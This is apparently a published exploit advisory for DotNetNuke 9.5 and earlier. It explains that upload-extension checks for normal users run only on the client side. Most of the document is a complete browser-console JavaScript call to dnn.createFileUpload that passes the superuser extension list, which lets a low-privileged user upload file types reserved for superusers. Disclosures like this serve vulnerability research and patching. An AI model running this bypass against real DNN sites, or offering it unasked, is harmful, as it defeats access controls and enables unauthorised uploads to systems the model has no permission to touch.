cf92ea269e
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70 lines
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4.4 KiB
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# Exploit Title: DotNetNuke 9.5 - File Upload Restrictions Bypass
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# Date: 2020-02-23
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# Exploit Author: Sajjad Pourali
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# Vendor Homepage: http://dnnsoftware.com/
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# Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip
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# Version: <= 9.5
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# CVE : N/A
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# More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175
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The DNN has a file upload module for superuser. As a superuser, you can upload files with the following formats — “jpg, jpeg, jpe, gif, bmp, png, svg, ttf, eot, woff, doc, docx, xls, xlsx, ppt, pptx, pdf, txt, xml, xsl, xsd, css, zip, rar, template, htmtemplate, ico, avi, mpg, mpeg, mp3, wmv, mov, wav, mp4, webm, ogv”.
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As a normal user you are allowed to upload files with “bmp,gif,ico,jpeg,jpg,jpe,png,svg” extensions. The same file upload module used for superuser is reused for normal users with extra validation for a few additional extensions e.g. CSS extension is not allowed.
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Unfortunately, only for superuser, whitelisted extension check is performed at the server end. For normal users, extra extension validation is performed at client-side only. Hence, a low privileged normal user can bypass the client-side validation and upload files with extensions which are allowed only for superuser only.
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For example, a normal privileged user can upload a file with extension which is allowed only for superuser, by executing the following code on a browser’s console (in the tab that manages profile’s page has opened). This attack may also be performed using proxy tools such as Burp, ZAP etc.
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dnn.createFileUpload({
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"clientId": "dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_FileUploadControl",
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"moduleId": "",
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"parentClientId": null,
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"showOnStartup": true,
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"folderPicker": {
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"selectedItemCss": "selected-item",
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"internalStateFieldId": null,
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"disabled": false,
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"selectItemDefaultText": "",
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"initialState": {
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"selectedItem": {
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"key": "0",
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"value": "My Folder"
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}
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},
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"onSelectionChanged": []
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},
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"maxFileSize": 299892736,
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"maxFiles": 0,
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"extensions": ["jpg", "jpeg", "jpe", "gif", "bmp", "png", "svg", "ttf", "eot", "woff", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "pdf", "txt", "xml", "xsl", "xsd", "css", "zip", "rar", "template", "htmtemplate", "ico", "avi", "mpg", "mpeg", "mp3", "wmv", "mov", "wav", "mp4", "webm", "ogv"],
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"resources": {
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"title": "Upload Files",
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"decompressLabel": "Decompress Zip Files",
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"uploadToFolderLabel": "Upload To:",
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"dragAndDropAreaTitle": "Drag files here or click to browse",
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"uploadFileMethod": "Upload File",
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"uploadFromWebMethod": "From URL",
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"closeButtonText": "Close",
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"uploadFromWebButtonText": "Upload",
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"decompressingFile": "Decompressing File",
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"fileIsTooLarge": "File size bigger than 286. Mb",
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"fileUploadCancelled": "Upload cancelled",
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"fileUploadFailed": "Upload failed",
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"fileUploaded": "File uploaded",
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"emptyFileUpload": "Your browser does not support empty file uploads.",
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"fileAlreadyExists": "The file you want to upload already exists in this folder.",
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"uploadStopped": "File upload stopped",
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"urlTooltip": "Enter Resource URL like https://SomeWebSite.com/Images/About.png",
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"keepButtonText": "Keep",
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"replaceButtonText": "Replace",
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"tooManyFiles": "You cannot upload more than {0} file(s) at once.",
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"invalidFileExtensions": "Some selected files with invalid extensions are excluded from upload. You can only upload files with the following extensions: bmp, gif, ico, jpeg, jpg, jpe, png, svg.",
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"unzipFilePromptTitle": "Unzip Information",
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"unzipFileFailedPromptBody": "<div class=\"invalidFiles\"><p>[COUNT] of [TOTAL] file(s) were not extracted because their file types are not supported:</p>[FILELIST]</div>",
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"unzipFileSuccessPromptBody": "<div class=\"validFiles\"><p>[TOTAL] of [TOTAL] file(s) were extracted successfully.</p></div>",
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"errorDialogTitle": "Error"
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},
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"width": 780,
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"height": 630,
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"folderPath": dnn.dnnFileUpload.settings.dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_dnnFileUploadScope.folder,
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"parameters": {}
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}); |